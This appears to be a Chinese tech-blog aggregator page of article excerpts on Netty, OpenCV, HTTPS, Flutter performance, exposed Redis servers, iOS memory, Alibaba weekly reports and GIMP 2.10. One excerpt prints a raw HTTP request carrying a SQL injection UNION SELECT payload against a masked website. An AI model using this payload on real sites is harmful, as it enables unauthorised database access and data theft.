webp

从Java Socket非阻塞到Netty入门流程

余生颓废 提交于 2020-08-11 09:30:50
Java IO,Socket非阻塞通信流程 这里我们使用一个内嵌的永久循环,来让Socket成为一个非阻塞的通信流程。 如上图所示,ServerSocket是我们自建的一个类,通过启动线程,且线程内置一个真循环, 防止accept阻塞 ; 在客户端监听类上,将监听到的socket作为参数,传递到客户端监听类上,并再次启动线程,获取一个InputStream,同时再次在这个刚刚启动线程内置一个真循环,为的是 不断获取信息并回写 ; 这里要注意的是,第一个真循环是 保证获取新连接不会阻塞 ,第二个真循环是 保证不停的获取客户端信息并回写 ; 关于客户端则通过端口和IP,启动线程,通过一个循环不停的向服务端写数据; Netty入门 基于上面的图,我们也可以学习Netty相关的基础入门。 NioEventLoop(事件循环) 1、新连接接入 2、连接上的数据读取 Channel(抽象连接) Socket、SocektChannel(IO\NIO)抽象 ChannelHandler(业务逻辑处理) 读写数据期间的业务层 PipeLine(动态链处理) 多个ChannelHandler组成,让消息可以层层处理 ByteBuf(数据接收) 基本的数据处理基于ByteBu 来源: oschina 链接: https://my.oschina.net/u/4553591/blog/4326425

open CV对图像的各类操作

﹥>﹥吖頭↗ 提交于 2020-08-11 06:05:24
本文章用于记录自己使用open CV过程中的要点,便于遗忘时查看。 首先使用 using namespace std; using namespace cv; 避免每次都需要敲 ::cv及::std; 图像的读写显示存取 图像定义: Mat image; 图像读取: imread(const String & filename,int flags = IMREAD_COLOR); 支持格式有: Windows bitmaps - *.bmp, *.dib (always supported) JPEG files - *.jpeg, *.jpg, *.jpe (see the Notes section) JPEG 2000 files - *.jp2 (see the Notes section) Portable Network Graphics - *.png (see the Notes section) WebP - *.webp (see the Notes section) Portable image format - *.pbm, *.pgm, *.ppm *.pxm, *.pnm (always supported) Sun rasters - *.sr, *.ras (always supported) TIFF files - *.tiff, *.tif

用 HTTPS 就安全了?HTTPS 会被抓包吗?

☆樱花仙子☆ 提交于 2020-08-11 05:28:11
作者:leapMie 的博客 https://blog.leapmie.com/archives/418/ 随着 HTTPS 建站的成本下降,现在大部分的网站都已经开始用上 HTTPS 协议。大家都知道 HTTPS 比 HTTP 安全,也听说过与 HTTPS 协议相关的概念有 SSL 、非对称加密、 CA证书等,但对于以下灵魂三拷问可能就答不上了: 为什么用了 HTTPS 就是安全的? HTTPS 的底层原理如何实现? 用了 HTTPS 就一定安全吗? 本文将层层深入,从原理上把 HTTPS 的安全性讲透。 HTTPS 的实现原理 大家可能都听说过 HTTPS 协议之所以是安全的是因为 HTTPS 协议会对传输的数据进行加密,而加密过程是使用了非对称加密实现。但其实,HTTPS在内容传输的加密上使用的是对称加密,非对称加密只作用在证书验证阶段。 HTTPS的整体过程分为证书验证和数据传输阶段,具体的交互过程如下: ① 证书验证阶段 浏览器发起 HTTPS 请求 服务端返回 HTTPS 证书 客户端验证证书是否合法,如果不合法则提示告警 ② 数据传输阶段 当证书验证合法后,在本地生成随机数 通过公钥加密随机数,并把加密后的随机数传输到服务端 服务端通过私钥对随机数进行解密 服务端通过客户端传入的随机数构造对称加密算法,对返回结果内容进行加密后传输 为什么数据传输是用对称加密? 首先

【译】Flutter vs React Native vs Native:深度性能比较

*爱你&永不变心* 提交于 2020-08-11 05:17:31
本文翻译自 inVerita 的《Flutter vs React Native vs Native: Deep Performance Comparison》 原文链接: medium.com/swlh/flutte… ) 研究背后的故事 inVerita( inveritasoft.com/ )一直致力于移动跨平台方案的性能问题,以此来解答哪种场景下开发者需要使用 Flutter 、 React Native 或原生开发,甚至是你需要选择哪个职业。 在之前的 《Flutter vs Native vs React-Native: Examining performance》 对比中有一个颇有争议的点,其中有人提出正常情况下我们是不会在 React Native 进行这些重复和复杂的计算,虽然在这种情况下,使用 Flutter 或 Native 确实会有更好的表现结果。 所以这一次我们决定研究 UI 的性能对比,因为它对移动应用开发的日常影响更大一些。 在移动平台想要衡量 UI 性能很复杂,因为这需要开发者在每个平台上,都以相同的方式去实现一样的功能,而本文将使用 GameBench( www.gamebench.net/ ) 作为测试工具以确保测试的客观性。 GameBench 本身还有很多改进的空间,但我们的目标是设法将每个测试程序都放置在一个测试环境中。

触目惊心,超过 8000+ 漏洞 Redis 暴露在云端!

荒凉一梦 提交于 2020-08-10 18:21:50
本文授权转载自:FreeBuf.COM 参考来源:trendmicro,由Kriston编译 研究人员在云端发现约8000个不安全的Redis,这些Redis未使用TLS加密且未设密码保护。 Redis 设计之初是在受信任环境中使用,如果允许其在互联网或物联网中使用,攻击者会利用不安全的 Redis 服务器来发起攻击,例如SQL注入,跨站攻击,恶意文件上传、远程代码执行等。 什么是Redis? Redis 全称为Remote Dictionary Server,是一种开源内存数据存储结构,常用在数据库,数据缓存等。由于Redis驻留在内存中,它可以为需要处理大量请求的程序提供毫秒级的响应,例如实时聊天,金融服务,医疗保健和游戏等。 据报道,2018年Redis上运行着9亿个容器,其拥有广泛的用户群,官方镜像已被下载超过10亿次,同时被GitHub,Craigslist和Twitter等公司使用。 Redis 还可部署在云中,利用缓存节省云存储空间。 Redis分析 利用Shodan发现全球部署了8000多个不安全的 Redis 。其中一些部署在公共云中,如AWS、Azure和Google云。 下图只列出超过50个不安全 Redis 的云: 全球分布: Redis官方文档中指出: Redis 旨在受信任环境中的供受信任客户端访问。将 Redis

inject某网站延时注入代码

試著忘記壹切 提交于 2020-08-10 17:52:54
GET /down.php/1' UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 -- --/bb HTTP/1.1 Host: yyy.xxx.cn Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: QQ=1 来源: oschina 链接: https://my.oschina.net/u/4353069/blog/4300196

手把手教你安装Ubuntu系统增强工具

五迷三道 提交于 2020-08-10 15:49:14
如果你不安装VMware增强工具的话,VMware经常会给你弹出下图的界面,提示你安装增强工具。 那么VMware增强工具到底有啥特别之处咧?其实在VMware虚拟机中安装好VMwareTools之后,就可以实现主机与虚拟机之间的文件共享,可以自由的拖拽文件,十分的方便,再也不用通过Filezilla、Xftp等远程文件传输辅助工具进行传输文件了。此外,鼠标也可在虚拟机与主机之间自由移动,省去按ctrl+alt组合键的功夫,而且虚拟机屏幕也可实现全屏化。 VMware增强工具的具体安装过程如下。 1、在Ubuntu虚拟机处于关机状态的时候,当看到界面弹出VMware增强工具的安装提示,此时点击“安装Tools”,尔后点击“开启虚拟机”,进入Ubuntu系统。 2、除了上述方法之外,也可以在Ubuntu虚拟机处于关机状态的时候,点击VMwareWorkstation中的“虚拟机”选项卡,然后选中“安装VMwareTools(T)”如下图所示,尔后再点击“开启虚拟机”,进入Ubuntu系统。 3、如果弹出下图的界面,点击“是”即可。 4、进入Ubuntu系统之后,点击光盘这个选项卡,然后点击VMwareTools,在右侧找到VMware增强工具安装包,如下图所示。 5、在VMware增强工具安装包上点击右键,选择“复制(copy)”,如下图所示。 6

iOS开发——内存优化

吃可爱长大的小学妹 提交于 2020-08-10 02:16:16
前言: 当app经过一段儿时间的迭代,往往会出现一些性能问题,这时能够协助开发解决这些性能问题也成为我们测试的重要工作。凑巧最近一段时间就一直在协助开发去进行app内存优化。这里整理了一份关于内存优化的心得分享给大家。 目的: 首先我们先要明确我们的目的,在保证程序运行流畅的前提下尽可能的优化使用内存。所以千万不要掉进为了优化而优化的陷阱。程序要先保证能运行,然后再谈良好运转。所以解决问题比较宽泛,必要的时候在交互或者运转机制上小动刀子来保证既能完成任务,程序又能正常运转,不必去对代码进行完全重构。毕竟在优化效率达到上限的时候,只能用时间换空间了。 1. 用ARC管理内存 ARC(Automatic ReferenceCounting, 自动引用计数),它避免了最常见的由于我们忘记释放内存所造成的内存泄露。它自动为你管理retain和release的过程,所以你就不必去手动管理了。编写代码的时候很容易忘掉结尾的release。而ARC会自动在底层为你做这些工作。除了帮你避免内存泄露,ARC还可以帮你提高性能,它能保证释放掉不再需要的对象的内存。 2. 在正确的地方使用 reuseIdentifier 一个开发中常见的错误就是没有给UITableViewCells, UICollectionViewCells设置正确的reuseIdentifier。 为了性能最优化,table

阿里正式取消周报:打击低效加班,拒绝形式主义!

旧时模样 提交于 2020-08-09 23:17:15
导读:最近,阿里巴巴宣布取消周报制度,其员工无需在周末对本周工作进行汇总。声明要杜绝形式大于没有思想的PPT。 我曾经在日本一家软件企业工作过,别说周报,要写每天的日报,日报会以邮件形式会发给一个小组的所有成员,以及上面的关联领导的,日报也会在系统中体现,项目成员都会看到。 后来在国内公司工作,后来我也推行过同样的任务。对于小型团队(10-30人左右),特别是一些能力不足,原来作风懒散的员工有作用。尤其是领导要对日报或周报做 review ,与项目和相关工作做关联,防止堆叠文字。 但是在一些运营较快的公司,技术系员工要尽快的完成产品,有的技术文档都来不及写,写日报就变了味道。 人们都会抱怨:有那个写周报的时间,多写点代码都比写周报强。技术老大每周还要等下面的技术经理的PPT,然后再整合汇总美化,有的人写的比较粗,对不上可就要了亲命了,这周报要是写错了,让CEO看出来可了不得。总体来说,周报比写代码累多了。 话说阿里巴巴取消周报的消息一经曝出,网上一片沸腾,阿里的员工纷纷表示喜大普奔: 好消息!!好消息!! 周报取消! 解脱了!!普天同庆!! 针对阿里取消周报的消息,阿里方面回应称属实。同时还表示,除了取消外,一些不必要的会议都会逐步取消,包括疫情影响下一些团队因为远程办公需要而召集的早会。 除此之外,阿里巴巴还将杜绝形式大于内容没有思考的PPT,而且不鼓励低效加班。

翻译:GIMP 2.10有什么新功能?

冷暖自知 提交于 2020-08-09 21:22:46
GIMP 2.10有什么新功能? GIMP 2.10是六年工作的结果,最初致力于将程序移植到新的图像处理引擎GEGL。但是,新版本附带了更多的新功能,包括新的和改进的工具,更好的文件格式支持,各种可用性改进,色彩管理支持改进,针对数字画家和摄影师的大量改进,元数据编辑等等。 。 更新了用户界面和初始的HiDPI支持 GIMP 2.10上最明显的一件事是新的深色主题和默认启用的符号图标。这是为了使环境有些暗淡,并将重点转移到内容上。 GIMP中现在有4个用户界面主题可用: Dark (默认), Gray , Light 和 System 。现在,图标与主题分开了,并且我们同时保留了颜色和符号图标,因此如果您喜欢旧外观,可以将GIMP配置为具有颜色图标的 System 主题。 而且,现在有四种尺寸的图标可用,因此GIMP在HiDPI显示器上看起来更好。GIMP将尽其所能来检测要使用的大小,但是您可以在 编辑 → 首选项 → 界面 → 图标主题中 手动覆盖该选择 。 贡献者: Benoit Touchette,Klaus Staedtler,VillePätsi,Aryeom Han,JehanPagès,Alexandre Prokoudine… GEGL端口,高位深度支持,多线程等 v2.10的最终目标是完成到GEGL图像处理库的移植,从v2.6开始